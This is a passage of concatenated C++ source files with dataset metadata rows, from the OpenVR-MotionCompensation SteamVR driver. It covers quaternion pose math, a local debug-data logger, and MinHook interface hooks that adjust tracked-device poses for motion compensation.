double _n8 = quat.x * n3;
double _n9 = quat.y * n3;
double _n10 = quat.w * n1;
double _n11 = quat.w * n2;
double _n12 = quat.w * n3;
vr::HmdVector3d_t translation = {
(1 - (_n5 + _n6)) * (VecPosition.v[0]) + (_n7 - _n12) * (VecPosition.v[1]) + (_n8 + _n11) * (VecPosition.v[2]),
(_n7 + _n12) * (VecPosition.v[0]) + (1 - (_n4 + _n6)) * (VecPosition.v[1]) + (_n9 - _n10) * (VecPosition.v[2]),
(_n8 - _n11) * (VecPosition.v[0]) + (_n9 + _n10) * (VecPosition.v[1]) + (1 - (_n4 + _n5)) * (VecPosition.v[2])
};
return {
(1.0 - (_n5 + _n6)) * (point.v[0] - centerOfRotation.v[0]) + (_n7 - _n12) * (point.v[1] - centerOfRotation.v[1]) + (_n8 + _n11) * (point.v[2] - centerOfRotation.v[2]) + centerOfRotation.v[0] + translation.v[0],
(_n7 + _n12) * (point.v[0] - centerOfRotation.v[0]) + (1.0 - (_n4 + _n6)) * (point.v[1] - centerOfRotation.v[1]) + (_n9 - _n10) * (point.v[2] - centerOfRotation.v[2]) + centerOfRotation.v[1] + translation.v[1],
(_n8 - _n11) * (point.v[0] - centerOfRotation.v[0]) + (_n9 + _n10) * (point.v[1] - centerOfRotation.v[1]) + (1.0 - (_n4 + _n5)) * (point.v[2] - centerOfRotation.v[2]) + centerOfRotation.v[2] + translation.v[2]
};
}
}
}
| 20,168
|
C++
|
.cpp
| 435
| 42.073563
| 214
| 0.675696
|
openvrmc/OpenVR-MotionCompensation
| 36
| 16
| 4
|
GPL-3.0
|
9/20/2024, 10:43:45 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,194
|
Debugger.cpp
|
openvrmc_OpenVR-MotionCompensation/driver_vrmotioncompensation/src/devicemanipulation/Debugger.cpp
|
#include "Debugger.h"
#include "../logging.h"
#include <iostream>
#include <fstream>
namespace vrmotioncompensation
{
namespace driver
{
Debugger::Debugger()
{
}
Debugger::~Debugger()
{
}
void Debugger::Start()
{
std::lock_guard<std::recursive_mutex> lockGuard(_mut);
DebugCounter = 0;
WroteToFile = false;
DebuggerRunning = true;
DebugTimer.start();
LOG(DEBUG) << "Logger started";
}
void Debugger::Stop()
{
std::lock_guard<std::recursive_mutex> lockGuard(_mut);
DebuggerRunning = false;
LOG(DEBUG) << "Logger stopped";
}
bool Debugger::IsRunning()
{
return DebuggerRunning;
}
void Debugger::CountUp()
{
std::lock_guard<std::recursive_mutex> lockGuard(_mut);
if (DebuggerRunning)
{
DebugTiming[DebugCounter] = DebugTimer.seconds();
if (DebugCounter >= MAX_DEBUG_ENTRIES - 1)
{
DebuggerRunning = false;
}
else
{
DebugCounter++;
Ref = Hmd = false;
}
}
}
void Debugger::AddDebugData(vr::HmdVector3d_t Data, int ID)
{
std::lock_guard<std::recursive_mutex> lockGuard(_mut);
if (DebuggerRunning)
{
DebugDataV3[ID].Data[DebugCounter] = Data;
}
}
void Debugger::AddDebugData(vr::HmdQuaternion_t Data, int ID)
{
std::lock_guard<std::recursive_mutex> lockGuard(_mut);
if (DebuggerRunning)
{
DebugDataQ4[ID].Data[DebugCounter] = Data;
}
}
void Debugger::AddDebugData(const double Data[3], int ID)
{
std::lock_guard<std::recursive_mutex> lockGuard(_mut);
if (DebuggerRunning)
{
DebugDataV3[ID].Data[DebugCounter].v[0] = Data[0];
DebugDataV3[ID].Data[DebugCounter].v[1] = Data[1];
DebugDataV3[ID].Data[DebugCounter].v[2] = Data[2];
}
}
void Debugger::gotRef()
{
Ref = true;
}
void Debugger::gotHmd()
{
Hmd = true;
}
bool Debugger::hasRef()
{
return Ref;
}
bool Debugger::hasHmd()
{
return Hmd;
}
void Debugger::SetDebugNameQ4(std::string Name, int ID)
{
std::lock_guard<std::recursive_mutex> lockGuard(_mut);
DebugDataQ4[ID].Name = Name;
DebugDataQ4[ID].InUse = true;
}
void Debugger::SetDebugNameV3(std::string Name, int ID)
{
std::lock_guard<std::recursive_mutex> lockGuard(_mut);
DebugDataV3[ID].Name = Name;
DebugDataV3[ID].InUse = true;
}
void Debugger::WriteFile()
{
std::lock_guard<std::recursive_mutex> lockGuard(_mut);
if (!WroteToFile && DebugCounter > 0)
{
LOG(DEBUG) << "Trying to write debug file...";
std::ofstream DebugFile;
DebugFile.open("MotionData.txt");
if (!DebugFile.bad())
{
unsigned int index = 1;
LOG(DEBUG) << "Writing " << DebugCounter << " debug points of data";
//Write title
DebugFile << "Time;";
//Quaternions
for (int i = 0; i < MAX_DEBUG_QUATERNIONS; i++)
{
if (DebugDataQ4[i].InUse)
{
DebugFile << DebugDataQ4[i].Name << "[" << index << ":4];";
index += 4;
}
}
//Vectors
for (int i = 0; i < MAX_DEBUG_VECTORS; i++)
{
if (DebugDataV3[i].InUse)
{
DebugFile << DebugDataV3[i].Name << "[" << index << ":3];";
index += 3;
}
}
DebugFile << std::endl;
//Write data
for (int i = 0; i < DebugCounter; i++)
{
DebugFile << DebugTiming[i] << ";";
for (int j = 0; j < MAX_DEBUG_QUATERNIONS; j++)
{
if (DebugDataQ4[j].InUse)
{
DebugFile << DebugDataQ4[j].Data[i].w << ";";
DebugFile << DebugDataQ4[j].Data[i].x << ";";
DebugFile << DebugDataQ4[j].Data[i].y << ";";
DebugFile << DebugDataQ4[j].Data[i].z << ";";
}
}
for (int j = 0; j < MAX_DEBUG_VECTORS; j++)
{
if (DebugDataV3[j].InUse)
{
DebugFile << DebugDataV3[j].Data[i].v[0] << ";";
DebugFile << DebugDataV3[j].Data[i].v[1] << ";";
DebugFile << DebugDataV3[j].Data[i].v[2] << ";";
}
}
DebugFile << std::endl;
}
DebugFile.close();
WroteToFile = true;
}
else
{
LOG(ERROR) << "Could not write debug log";
}
}
}
}
}
| 4,159
|
C++
|
.cpp
| 173
| 19.086705
| 73
| 0.59375
|
openvrmc/OpenVR-MotionCompensation
| 36
| 16
| 4
|
GPL-3.0
|
9/20/2024, 10:43:45 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,195
|
DeviceManipulationHandle.cpp
|
openvrmc_OpenVR-MotionCompensation/driver_vrmotioncompensation/src/devicemanipulation/DeviceManipulationHandle.cpp
|
#include "DeviceManipulationHandle.h"
#include "../driver/ServerDriver.h"
#include "../hooks/IVRServerDriverHost004Hooks.h"
#include "../hooks/IVRServerDriverHost005Hooks.h"
#undef WIN32_LEAN_AND_MEAN
#undef NOSOUND
#include <Windows.h>
// According to windows documentation mmsystem.h should be automatically included with Windows.h when WIN32_LEAN_AND_MEAN and NOSOUND are not defined
// But it doesn't work so I have to include it manually
#include <mmsystem.h>
namespace vrmotioncompensation
{
namespace driver
{
DeviceManipulationHandle::DeviceManipulationHandle(const char* serial, vr::ETrackedDeviceClass eDeviceClass)
: m_isValid(true), m_parent(ServerDriver::getInstance()), m_motionCompensationManager(m_parent->motionCompensation()), m_eDeviceClass(eDeviceClass), m_serialNumber(serial)
{
}
void DeviceManipulationHandle::setValid(bool isValid)
{
m_isValid = isValid;
}
bool DeviceManipulationHandle::handlePoseUpdate(uint32_t& unWhichDevice, vr::DriverPose_t& newPose, uint32_t unPoseStructSize)
{
if (m_deviceMode == MotionCompensationDeviceMode::ReferenceTracker)
{
//Check if the pose is valid to prevent unwanted jitter and movement
if (newPose.poseIsValid && newPose.result == vr::TrackingResult_Running_OK)
{
//Set the Zero-Point for the reference tracker if not done yet
if (!m_motionCompensationManager.isZeroPoseValid())
{
m_motionCompensationManager.setZeroPose(newPose);
}
else
{
//Update reference tracker position
m_motionCompensationManager.updateRefPose(newPose);
}
}
}
else if (m_deviceMode == MotionCompensationDeviceMode::MotionCompensated)
{
//Check if the pose is valid to prevent unwanted jitter and movement
if (newPose.poseIsValid && newPose.result == vr::TrackingResult_Running_OK)
{
m_motionCompensationManager.applyMotionCompensation(newPose);
}
}
return true;
}
void DeviceManipulationHandle::setMotionCompensationDeviceMode(MotionCompensationDeviceMode DeviceMode)
{
m_deviceMode = DeviceMode;
}
} // end namespace driver
} // end namespace vrmotioncompensation
| 2,164
|
C++
|
.cpp
| 57
| 34.122807
| 174
| 0.766079
|
openvrmc/OpenVR-MotionCompensation
| 36
| 16
| 4
|
GPL-3.0
|
9/20/2024, 10:43:45 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,196
|
WatchdogProvider.cpp
|
openvrmc_OpenVR-MotionCompensation/driver_vrmotioncompensation/src/driver/WatchdogProvider.cpp
|
#include "WatchdogProvider.h"
#include "../logging.h"
// driver namespace
namespace vrmotioncompensation
{
namespace driver
{
vr::EVRInitError WatchdogProvider::Init(vr::IVRDriverContext* pDriverContext)
{
LOG(TRACE) << "WatchdogProvider::Init()";
VR_INIT_WATCHDOG_DRIVER_CONTEXT(pDriverContext);
return vr::VRInitError_None;
}
void WatchdogProvider::Cleanup()
{
LOG(TRACE) << "WatchdogProvider::Cleanup()";
VR_CLEANUP_WATCHDOG_DRIVER_CONTEXT();
}
}
}
| 485
|
C++
|
.cpp
| 20
| 21.6
| 79
| 0.744589
|
openvrmc/OpenVR-MotionCompensation
| 36
| 16
| 4
|
GPL-3.0
|
9/20/2024, 10:43:45 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| true
| false
| false
|
1,532,197
|
ServerDriver.cpp
|
openvrmc_OpenVR-MotionCompensation/driver_vrmotioncompensation/src/driver/ServerDriver.cpp
|
#include "ServerDriver.h"
#include "../devicemanipulation/DeviceManipulationHandle.h"
namespace vrmotioncompensation
{
namespace driver
{
ServerDriver* ServerDriver::singleton = nullptr;
std::string ServerDriver::installDir;
ServerDriver::ServerDriver() : m_motionCompensation(this)
{
singleton = this;
memset(_openvrIdDeviceManipulationHandle, 0, sizeof(DeviceManipulationHandle*) * vr::k_unMaxTrackedDeviceCount);
memset(_deviceVersionMap, 0, sizeof(int) * vr::k_unMaxTrackedDeviceCount);
}
ServerDriver::~ServerDriver()
{
LOG(TRACE) << "driver::~ServerDriver()";
}
bool ServerDriver::hooksTrackedDevicePoseUpdated(void* serverDriverHost, int version, uint32_t& unWhichDevice, vr::DriverPose_t& newPose, uint32_t& unPoseStructSize)
{
if (_openvrIdDeviceManipulationHandle[unWhichDevice] && _openvrIdDeviceManipulationHandle[unWhichDevice]->isValid())
{
if (_deviceVersionMap[unWhichDevice] == 0)
{
_deviceVersionMap[unWhichDevice] = version;
}
//LOG(TRACE) << "ServerDriver::hooksTrackedDevicePoseUpdated(version:" << version << ", deviceId:" << unWhichDevice << ", first used version: " << _deviceVersionMap[unWhichDevice] << ")";
if (_deviceVersionMap[unWhichDevice] == version)
{
return _openvrIdDeviceManipulationHandle[unWhichDevice]->handlePoseUpdate(unWhichDevice, newPose, unPoseStructSize);
}
//LOG(TRACE) << "ServerDriver::hooksTrackedDevicePoseUpdated called for wrong version, ignoring ";
}
return true;
}
void ServerDriver::hooksTrackedDeviceAdded(void* serverDriverHost, int version, const char* pchDeviceSerialNumber, vr::ETrackedDeviceClass& eDeviceClass, void* pDriver)
{
LOG(TRACE) << "ServerDriver::hooksTrackedDeviceAdded(" << serverDriverHost << ", " << version << ", " << pchDeviceSerialNumber << ", " << (int)eDeviceClass << ", " << pDriver << ")";
LOG(INFO) << "Found device " << pchDeviceSerialNumber << " (deviceClass: " << (int)eDeviceClass << ")";
// Create ManipulationInfo entry
auto handle = std::make_shared<DeviceManipulationHandle>(pchDeviceSerialNumber, eDeviceClass);
_deviceManipulationHandles.insert({ pDriver, handle });
// Hook into server driver interface
handle->setServerDriverHooks(InterfaceHooks::hookInterface(pDriver, "ITrackedDeviceServerDriver_005"));
}
void ServerDriver::hooksTrackedDeviceActivated(void* serverDriver, int version, uint32_t unObjectId)
{
LOG(TRACE) << "ServerDriver::hooksTrackedDeviceActivated(" << serverDriver << ", " << version << ", " << unObjectId << ")";
// Search for the activated device
auto i = _deviceManipulationHandles.find(serverDriver);
if (i != _deviceManipulationHandles.end())
{
auto handle = i->second;
handle->setOpenvrId(unObjectId);
_openvrIdDeviceManipulationHandle[unObjectId] = handle.get();
//LOG(INFO) << "Successfully added device " << handle->serialNumber() << " (OpenVR Id: " << handle->openvrId() << ")";
LOG(INFO) << "Successfully added device " << _openvrIdDeviceManipulationHandle[unObjectId]->serialNumber() << " (OpenVR Id: " << _openvrIdDeviceManipulationHandle[unObjectId]->openvrId() << ")";
}
}
vr::EVRInitError ServerDriver::Init(vr::IVRDriverContext* pDriverContext)
{
LOG(INFO) << "CServerDriver::Init()";
// Initialize Hooking
InterfaceHooks::setServerDriver(this);
auto mhError = MH_Initialize();
if (mhError == MH_OK)
{
_driverContextHooks = InterfaceHooks::hookInterface(pDriverContext, "IVRDriverContext");
}
else
{
LOG(ERROR) << "Error while initializing minHook: " << MH_StatusToString(mhError);
}
LOG(DEBUG) << "Initialize driver context.";
VR_INIT_SERVER_DRIVER_CONTEXT(pDriverContext);
// Read installation directory
vr::ETrackedPropertyError tpeError;
installDir = vr::VRProperties()->GetStringProperty(pDriverContext->GetDriverHandle(), vr::Prop_InstallPath_String, &tpeError);
if (tpeError == vr::TrackedProp_Success)
{
LOG(INFO) << "Install Dir:" << installDir;
}
else
{
LOG(INFO) << "Could not get Install Dir: " << vr::VRPropertiesRaw()->GetPropErrorNameFromEnum(tpeError);
}
// Start IPC thread
shmCommunicator.init(this);
return vr::VRInitError_None;
}
void ServerDriver::Cleanup()
{
LOG(TRACE) << "ServerDriver::Cleanup()";
_driverContextHooks.reset();
MH_Uninitialize();
shmCommunicator.shutdown();
VR_CLEANUP_SERVER_DRIVER_CONTEXT();
}
// Call frequency: ~93Hz
void ServerDriver::RunFrame()
{
}
DeviceManipulationHandle* ServerDriver::getDeviceManipulationHandleById(uint32_t unWhichDevice)
{
LOG(TRACE) << "getDeviceByID: unWhichDevice: " << unWhichDevice;
std::lock_guard<std::recursive_mutex> lock(_deviceManipulationHandlesMutex);
if (_openvrIdDeviceManipulationHandle[unWhichDevice]->isValid())
{
if (_openvrIdDeviceManipulationHandle[unWhichDevice])
{
return _openvrIdDeviceManipulationHandle[unWhichDevice];
}
else
{
LOG(ERROR) << "_openvrIdDeviceManipulationHandle[unWhichDevice] is NULL. unWhichDevice: " << unWhichDevice;
}
}
else
{
LOG(ERROR) << "_openvrIdDeviceManipulationHandle[unWhichDevice] is not valid. unWhichDevice: " << unWhichDevice;
}
return nullptr;
}
} // end namespace driver
} // end namespace vrmotioncompensation
| 5,363
|
C++
|
.cpp
| 125
| 38.816
| 198
| 0.725614
|
openvrmc/OpenVR-MotionCompensation
| 36
| 16
| 4
|
GPL-3.0
|
9/20/2024, 10:43:45 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,198
|
IVRServerDriverHost006Hooks.cpp
|
openvrmc_OpenVR-MotionCompensation/driver_vrmotioncompensation/src/hooks/IVRServerDriverHost006Hooks.cpp
|
#include "IVRServerDriverHost006Hooks.h"
#include "../driver/ServerDriver.h"
namespace vrmotioncompensation
{
namespace driver
{
HookData<IVRServerDriverHost006Hooks::trackedDeviceAdded_t> IVRServerDriverHost006Hooks::trackedDeviceAddedHook;
HookData<IVRServerDriverHost006Hooks::trackedDevicePoseUpdated_t> IVRServerDriverHost006Hooks::trackedDevicePoseUpdatedHook;
IVRServerDriverHost006Hooks::IVRServerDriverHost006Hooks(void* iptr)
{
if (!_isHooked)
{
CREATE_MH_HOOK(trackedDeviceAddedHook, _trackedDeviceAdded, "IVRServerDriverHost006::TrackedDeviceAdded", iptr, 0);
CREATE_MH_HOOK(trackedDevicePoseUpdatedHook, _trackedDevicePoseUpdated, "IVRServerDriverHost006::TrackedDevicePoseUpdated", iptr, 1);
_isHooked = true;
}
}
IVRServerDriverHost006Hooks::~IVRServerDriverHost006Hooks()
{
if (_isHooked)
{
REMOVE_MH_HOOK(trackedDeviceAddedHook);
REMOVE_MH_HOOK(trackedDevicePoseUpdatedHook);
_isHooked = false;
}
}
std::shared_ptr<InterfaceHooks> IVRServerDriverHost006Hooks::createHooks(void* iptr)
{
std::shared_ptr<InterfaceHooks> retval = std::shared_ptr<InterfaceHooks>(new IVRServerDriverHost006Hooks(iptr));
return retval;
}
void IVRServerDriverHost006Hooks::trackedDevicePoseUpdatedOrig(void* _this, uint32_t unWhichDevice, const vr::DriverPose_t& newPose, uint32_t unPoseStructSize)
{
trackedDevicePoseUpdatedHook.origFunc(_this, unWhichDevice, newPose, unPoseStructSize);
}
bool IVRServerDriverHost006Hooks::_trackedDeviceAdded(void* _this, const char* pchDeviceSerialNumber, vr::ETrackedDeviceClass eDeviceClass, void* pDriver)
{
LOG(TRACE) << "IVRServerDriverHost006Hooks::_trackedDeviceAdded(" << _this << ", " << pchDeviceSerialNumber << ", " << eDeviceClass << ", " << pDriver << ")";
serverDriver->hooksTrackedDeviceAdded(_this, 6, pchDeviceSerialNumber, eDeviceClass, pDriver);
auto retval = trackedDeviceAddedHook.origFunc(_this, pchDeviceSerialNumber, eDeviceClass, pDriver);
return retval;
}
void IVRServerDriverHost006Hooks::_trackedDevicePoseUpdated(void* _this, uint32_t unWhichDevice, const vr::DriverPose_t& newPose, uint32_t unPoseStructSize)
{
// Call rates:
//
// Vive HMD: 1120 calls/s
// Vive Controller: 369 calls/s each
//
// Time is key. If we assume 1 HMD and 13 controllers, we have a total of ~6000 calls/s. That's about 166 microseconds per call at 100% load.
auto poseCopy = newPose;
if (serverDriver->hooksTrackedDevicePoseUpdated(_this, 6, unWhichDevice, poseCopy, unPoseStructSize))
{
trackedDevicePoseUpdatedHook.origFunc(_this, unWhichDevice, poseCopy, unPoseStructSize);
}
}
}
}
| 2,683
|
C++
|
.cpp
| 58
| 42.534483
| 161
| 0.778673
|
openvrmc/OpenVR-MotionCompensation
| 36
| 16
| 4
|
GPL-3.0
|
9/20/2024, 10:43:45 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,199
|
IVRServerDriverHost004Hooks.cpp
|
openvrmc_OpenVR-MotionCompensation/driver_vrmotioncompensation/src/hooks/IVRServerDriverHost004Hooks.cpp
|
#include "IVRServerDriverHost004Hooks.h"
#include "../driver/ServerDriver.h"
namespace vrmotioncompensation
{
namespace driver
{
HookData<IVRServerDriverHost004Hooks::trackedDeviceAdded_t> IVRServerDriverHost004Hooks::trackedDeviceAddedHook;
HookData<IVRServerDriverHost004Hooks::trackedDevicePoseUpdated_t> IVRServerDriverHost004Hooks::trackedDevicePoseUpdatedHook;
IVRServerDriverHost004Hooks::IVRServerDriverHost004Hooks(void* iptr)
{
if (!_isHooked)
{
CREATE_MH_HOOK(trackedDeviceAddedHook, _trackedDeviceAdded, "IVRServerDriverHost004::TrackedDeviceAdded", iptr, 0);
CREATE_MH_HOOK(trackedDevicePoseUpdatedHook, _trackedDevicePoseUpdated, "IVRServerDriverHost004::TrackedDevicePoseUpdated", iptr, 1);
_isHooked = true;
}
}
IVRServerDriverHost004Hooks::~IVRServerDriverHost004Hooks()
{
if (_isHooked)
{
REMOVE_MH_HOOK(trackedDeviceAddedHook);
REMOVE_MH_HOOK(trackedDevicePoseUpdatedHook);
_isHooked = false;
}
}
std::shared_ptr<InterfaceHooks> IVRServerDriverHost004Hooks::createHooks(void* iptr)
{
std::shared_ptr<InterfaceHooks> retval = std::shared_ptr<InterfaceHooks>(new IVRServerDriverHost004Hooks(iptr));
return retval;
}
void IVRServerDriverHost004Hooks::trackedDevicePoseUpdatedOrig(void* _this, uint32_t unWhichDevice, const vr::DriverPose_t& newPose, uint32_t unPoseStructSize)
{
trackedDevicePoseUpdatedHook.origFunc(_this, unWhichDevice, newPose, unPoseStructSize);
}
bool IVRServerDriverHost004Hooks::_trackedDeviceAdded(void* _this, const char* pchDeviceSerialNumber, vr::ETrackedDeviceClass eDeviceClass, void* pDriver)
{
char* sn = (char*)pchDeviceSerialNumber;
if ((sn >= (char*)0 && sn < (char*)0xff) || eDeviceClass < 0 || eDeviceClass > vr::ETrackedDeviceClass::TrackedDeviceClass_DisplayRedirect)
{
// SteamVR Vive driver bug, it's calling this function with random garbage
LOG(ERROR) << "Not running _trackedDeviceAdded because of SteamVR driver bug.";
return false;
}
LOG(TRACE) << "IVRServerDriverHost004Hooks::_trackedDeviceAdded(" << _this << ", " << pchDeviceSerialNumber << ", " << eDeviceClass << ", " << pDriver << ")";
serverDriver->hooksTrackedDeviceAdded(_this, 4, pchDeviceSerialNumber, eDeviceClass, pDriver);
auto retval = trackedDeviceAddedHook.origFunc(_this, pchDeviceSerialNumber, eDeviceClass, pDriver);
return retval;
}
void IVRServerDriverHost004Hooks::_trackedDevicePoseUpdated(void* _this, uint32_t unWhichDevice, const vr::DriverPose_t& newPose, uint32_t unPoseStructSize)
{
// Call rates:
//
// Vive HMD: 1120 calls/s
// Vive Controller: 369 calls/s each
//
// Time is key. If we assume 1 HMD and 13 controllers, we have a total of ~6000 calls/s. That's about 166 microseconds per call at 100% load.
auto poseCopy = newPose;
if (serverDriver->hooksTrackedDevicePoseUpdated(_this, 4, unWhichDevice, poseCopy, unPoseStructSize))
{
trackedDevicePoseUpdatedHook.origFunc(_this, unWhichDevice, poseCopy, unPoseStructSize);
}
}
}
}
| 3,055
|
C++
|
.cpp
| 65
| 43.292308
| 161
| 0.768456
|
openvrmc/OpenVR-MotionCompensation
| 36
| 16
| 4
|
GPL-3.0
|
9/20/2024, 10:43:45 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| true
| false
| false
|
1,532,200
|
IVRDriverContextHooks.cpp
|
openvrmc_OpenVR-MotionCompensation/driver_vrmotioncompensation/src/hooks/IVRDriverContextHooks.cpp
|
#include "IVRDriverContextHooks.h"
namespace vrmotioncompensation
{
namespace driver
{
HookData<IVRDriverContextHooks::getGenericInterface_t> IVRDriverContextHooks::getGenericInterfaceHook;
std::map<std::string, std::shared_ptr<InterfaceHooks>> IVRDriverContextHooks::_hookedInterfaces;
IVRDriverContextHooks::IVRDriverContextHooks(void* iptr)
{
if (!_isHooked)
{
CREATE_MH_HOOK(getGenericInterfaceHook, _getGenericInterface, "IVRDriverContext::GetGenericInterface", iptr, 0);
_isHooked = true;
}
}
IVRDriverContextHooks::~IVRDriverContextHooks()
{
if (_isHooked)
{
REMOVE_MH_HOOK(getGenericInterfaceHook);
_isHooked = false;
}
}
std::shared_ptr<InterfaceHooks> IVRDriverContextHooks::createHooks(void* iptr)
{
std::shared_ptr<InterfaceHooks> retval = std::shared_ptr<InterfaceHooks>(new IVRDriverContextHooks(iptr));
return retval;
}
std::shared_ptr<InterfaceHooks> IVRDriverContextHooks::getInterfaceHook(std::string interfaceVersion)
{
auto it = _hookedInterfaces.find(interfaceVersion);
if (it != _hookedInterfaces.end())
{
return it->second;
}
return nullptr;
}
void* IVRDriverContextHooks::_getGenericInterface(vr::IVRDriverContext* _this, const char* pchInterfaceVersion, vr::EVRInitError* peError)
{
auto retval = getGenericInterfaceHook.origFunc(_this, pchInterfaceVersion, peError);
if (_hookedInterfaces.find(pchInterfaceVersion) == _hookedInterfaces.end())
{
auto hooks = InterfaceHooks::hookInterface(retval, pchInterfaceVersion);
if (hooks != nullptr)
{
_hookedInterfaces.insert({ std::string(pchInterfaceVersion), hooks });
}
}
LOG(TRACE) << "IVRDriverContextHooks::_getGenericInterface(" << _this << ", " << pchInterfaceVersion << ") = " << retval;
return retval;
}
}
}
| 1,827
|
C++
|
.cpp
| 53
| 30.811321
| 140
| 0.746041
|
openvrmc/OpenVR-MotionCompensation
| 36
| 16
| 4
|
GPL-3.0
|
9/20/2024, 10:43:45 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| true
| false
| false
|
1,532,201
|
common.cpp
|
openvrmc_OpenVR-MotionCompensation/driver_vrmotioncompensation/src/hooks/common.cpp
|
#include "common.h"
#include "../logging.h"
#include "IVRDriverContextHooks.h"
#include "IVRServerDriverHost004Hooks.h"
#include "IVRServerDriverHost005Hooks.h"
#include "IVRServerDriverHost006Hooks.h"
#include "ITrackedDeviceServerDriver005Hooks.h"
namespace vrmotioncompensation
{
namespace driver
{
ServerDriver* InterfaceHooks::serverDriver = nullptr;
std::shared_ptr<InterfaceHooks> InterfaceHooks::hookInterface(void* interfaceRef, std::string interfaceVersion)
{
std::shared_ptr<InterfaceHooks> retval;
if (interfaceVersion.compare("IVRDriverContext") == 0)
{
retval = IVRDriverContextHooks::createHooks(interfaceRef);
}
else if (interfaceVersion.compare("IVRServerDriverHost_004") == 0)
{
retval = IVRServerDriverHost004Hooks::createHooks(interfaceRef);
}
else if (interfaceVersion.compare("IVRServerDriverHost_005") == 0)
{
retval = IVRServerDriverHost005Hooks::createHooks(interfaceRef);
}
else if (interfaceVersion.compare("IVRServerDriverHost_006") == 0)
{
retval = IVRServerDriverHost006Hooks::createHooks(interfaceRef);
}
else if (interfaceVersion.compare("ITrackedDeviceServerDriver_005") == 0)
{
retval = ITrackedDeviceServerDriver005Hooks::createHooks(interfaceRef);
}
return retval;
}
}
}
| 1,292
|
C++
|
.cpp
| 39
| 29.948718
| 113
| 0.776
|
openvrmc/OpenVR-MotionCompensation
| 36
| 16
| 4
|
GPL-3.0
|
9/20/2024, 10:43:45 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| true
| false
| false
|
1,532,202
|
ITrackedDeviceServerDriver005Hooks.cpp
|
openvrmc_OpenVR-MotionCompensation/driver_vrmotioncompensation/src/hooks/ITrackedDeviceServerDriver005Hooks.cpp
|
#include "ITrackedDeviceServerDriver005Hooks.h"
#include "../driver/ServerDriver.h"
namespace vrmotioncompensation
{
namespace driver
{
std::map<void*, ITrackedDeviceServerDriver005Hooks::_hookedAdressMapEntry<ITrackedDeviceServerDriver005Hooks::activate_t>> ITrackedDeviceServerDriver005Hooks::_hookedActivateAdressMap;
ITrackedDeviceServerDriver005Hooks::ITrackedDeviceServerDriver005Hooks(void* iptr)
{
LOG(TRACE) << "ITrackedDeviceServerDriver005Hooks::ctr(" << iptr << ")";
auto vtable = (*((void***)iptr));
activateAddress = vtable[0];
auto it = _hookedActivateAdressMap.find(activateAddress);
if (it == _hookedActivateAdressMap.end())
{
CREATE_MH_HOOK(activateHook, _activate, "ITrackedDeviceServerDriver005::Activate", iptr, 0);
_hookedActivateAdressMap[activateAddress].useCount = 1;
_hookedActivateAdressMap[activateAddress].hookData = activateHook;
}
else
{
activateHook = it->second.hookData;
it->second.useCount += 1;
}
}
std::shared_ptr<InterfaceHooks> ITrackedDeviceServerDriver005Hooks::createHooks(void* iptr)
{
std::shared_ptr<InterfaceHooks> retval = std::shared_ptr<InterfaceHooks>(new ITrackedDeviceServerDriver005Hooks(iptr));
return retval;
}
ITrackedDeviceServerDriver005Hooks::~ITrackedDeviceServerDriver005Hooks()
{
auto it = _hookedActivateAdressMap.find(activateAddress);
if (it != _hookedActivateAdressMap.end())
{
if (it->second.useCount <= 1)
{
REMOVE_MH_HOOK(activateHook);
_hookedActivateAdressMap.erase(it);
}
else
{
it->second.useCount -= 1;
}
}
}
vr::EVRInitError ITrackedDeviceServerDriver005Hooks::_activate(void* _this, uint32_t unObjectId)
{
LOG(TRACE) << "ITrackedDeviceServerDriver005Hooks::_activate(" << _this << ", " << unObjectId << ")";
auto vtable = (*((void***)_this));
auto activateAddress = vtable[0];
auto it = _hookedActivateAdressMap.find(activateAddress);
if (it != _hookedActivateAdressMap.end())
{
serverDriver->hooksTrackedDeviceActivated(_this, 5, unObjectId);
return it->second.hookData.origFunc(_this, unObjectId);
}
else
{
LOG(ERROR) << "this pointer not in ITrackedDeviceServerDriver005Hooks::_hookedActivateAdressMap.";
return vr::VRInitError_Unknown;
}
}
}
}
| 2,312
|
C++
|
.cpp
| 65
| 31.676923
| 186
| 0.737617
|
openvrmc/OpenVR-MotionCompensation
| 36
| 16
| 4
|
GPL-3.0
|
9/20/2024, 10:43:45 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| true
| false
| false
|
1,532,203
|
IVRServerDriverHost005Hooks.cpp
|
openvrmc_OpenVR-MotionCompensation/driver_vrmotioncompensation/src/hooks/IVRServerDriverHost005Hooks.cpp
|
#include "IVRServerDriverHost005Hooks.h"
#include "../driver/ServerDriver.h"
namespace vrmotioncompensation
{
namespace driver
{
HookData<IVRServerDriverHost005Hooks::trackedDeviceAdded_t> IVRServerDriverHost005Hooks::trackedDeviceAddedHook;
HookData<IVRServerDriverHost005Hooks::trackedDevicePoseUpdated_t> IVRServerDriverHost005Hooks::trackedDevicePoseUpdatedHook;
IVRServerDriverHost005Hooks::IVRServerDriverHost005Hooks(void* iptr)
{
if (!_isHooked)
{
CREATE_MH_HOOK(trackedDeviceAddedHook, _trackedDeviceAdded, "IVRServerDriverHost005::TrackedDeviceAdded", iptr, 0);
CREATE_MH_HOOK(trackedDevicePoseUpdatedHook, _trackedDevicePoseUpdated, "IVRServerDriverHost005::TrackedDevicePoseUpdated", iptr, 1);
_isHooked = true;
}
}
IVRServerDriverHost005Hooks::~IVRServerDriverHost005Hooks()
{
if (_isHooked)
{
REMOVE_MH_HOOK(trackedDeviceAddedHook);
REMOVE_MH_HOOK(trackedDevicePoseUpdatedHook);
_isHooked = false;
}
}
std::shared_ptr<InterfaceHooks> IVRServerDriverHost005Hooks::createHooks(void* iptr)
{
std::shared_ptr<InterfaceHooks> retval = std::shared_ptr<InterfaceHooks>(new IVRServerDriverHost005Hooks(iptr));
return retval;
}
void IVRServerDriverHost005Hooks::trackedDevicePoseUpdatedOrig(void* _this, uint32_t unWhichDevice, const vr::DriverPose_t& newPose, uint32_t unPoseStructSize)
{
trackedDevicePoseUpdatedHook.origFunc(_this, unWhichDevice, newPose, unPoseStructSize);
}
